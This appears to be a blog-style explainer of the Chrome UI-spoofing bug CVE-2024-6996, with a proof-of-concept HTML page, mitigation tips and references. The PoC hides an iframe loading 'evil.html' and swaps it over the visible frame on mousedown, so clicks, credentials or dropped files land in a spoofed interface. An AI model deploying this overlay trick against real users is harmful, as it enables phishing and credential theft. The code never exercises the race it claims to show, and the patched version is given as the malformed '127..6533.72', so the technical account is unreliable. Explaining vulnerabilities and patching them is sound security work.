Chrome has a history of getting things mostly right. But even the biggest companies slip up from time to time. Today, let’s talk about CVE-2024-6996—a subtle, medium-severity vulnerability tracked in Google Chrome (prior to 127..6533.72) that could have let attackers trick users by spoofing the interface — all by racing frames and some clever timing.

This is an exclusive deep dive, explained in plain language. We’ll cover what happened, what it means, how it’s exploited (with code!), and how to stay safe.

🕵️‍♂️ WHAT IS CVE-2024-6996?

CVE-2024-6996 describes a race condition in handling frames in Chrome’s rendering engine. By manipulating iframes and requiring the user to interact in a precise way (think: clicking or dragging), a malicious site could show you one thing while Chrome thinks it's showing another—a classic scenario for UI spoofing and phishing.

Reference

- Google Chrome Release: Stable Channel Update for Desktop
- Chromium Security Advisory

🚨 WHAT CAN THE ATTACKER DO?

With this bug, an attacker can trick a user into thinking they’re interacting with a genuine Chrome UI, such as a login pop-up, download prompt, or even the browser’s address bar. This means phishing attacks, installing unwanted software, or stealing credentials gets a lot easier.

In short: If you can be convinced to click or drag in the wrong place, a malicious page can change what's underneath your mouse mid-action, fooling both you and Chrome.

💡 HOW DOES THE EXPLOIT WORK?

The attacker creates a page that loads an iframe (or several), waits for the user to perform a specific UI gesture (like click and drag), and then, at just the right timing, swaps the content of the frame. Chrome (before 127..6533.72) fails to lock down which page you’re interacting with during this fleeting moment—the race window.

Imagine you were about to drop a file into a safe upload zone. The page swaps the “drop box” with a fake version after you grab the file, and Chrome thinks it’s the same frame. You drop the file into the wrong hands.

Here’s a simplified example showing how an attacker might set this up

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2024-6996 PoC - Chrome Frame Race</title>
  <style>
    #victim, #spoof {
      position: absolute;
      top: 100px; left: 100px;
      width: 400px; height: 200px;
      border: 2px solid #222;
      background: #eee;
      z-index: 2;
    }
    #spoof { 
      z-index: 1; 
    }
  </style>
</head>
<body>
  <!-- The clean UI the user expects -->
  <iframe id="victim" src="about:blank"></iframe>
  <!-- The tricky overlay, hidden for now -->
  <iframe id="spoof" src="evil.html" style="display:none;"></iframe>

  <button onclick="beginRace()">Try Your Luck!</button>

  <script>
    let racing = false;
    function beginRace() {
      document.getElementById('spoof').style.display = 'block';
      racing = true;
      // Wait for user drag event, then swap frames
      document.body.addEventListener('mousedown', swapFrames);
    }

    function swapFrames(e) {
      if(!racing) return;
      racing = false;
      // Quickly swap the displayed frame while mouse is down
      document.getElementById('victim').style.display = 'none';
      document.getElementById('spoof').style.zIndex = 2;
      console.log('Frame switched! Now spoofing UI.');
    }
  </script>
</body>
</html>

The attacker asks you to click a button or perform a gesture (like drag-and-drop).

- As soon as you do, JavaScript swaps the friendly victim frame for a malicious spoof frame at the exact time Chrome isn’t expecting.
- If timed right, you interact with the “wrong” interface — maybe entering credentials or dropping files unaware.

🔒 FIX STATUS & MITIGATION

Google fixed this bug quickly in Chrome 127..6533.72. Update your browser now if you haven’t already!

Mitigation tips

- Never drag or drop files, enter passwords, or respond to prompts unless you explicitly trust the site.
- Keep your browser up-to-date. Chrome auto-updates, but check “Help → About Google Chrome” to confirm.

🔗 MORE REFERENCES

- Google Security Blog - Chrome Releases
- Official Chromium issue tracker for 326759505
- MITRE Record for CVE-2024-6996

📝 FINAL THOUGHTS

CVE-2024-6996 is a solid reminder: even the best browsers can be tripped up by races and unexpected user gestures. UI spoofing is dangerous not because it breaks crypto, but because it breaks trust—you think you’re safe, when you’re not.

Protect yourself: watch where you click, drag, drop – and keep Chrome up-to-date!

If you found this useful, share or bookmark for the next time you need to explain browser security — simply, and clearly.

Timeline

Published on: 08/06/2024 16:15:50 UTC
Last modified on: 08/07/2024 22:06:48 UTC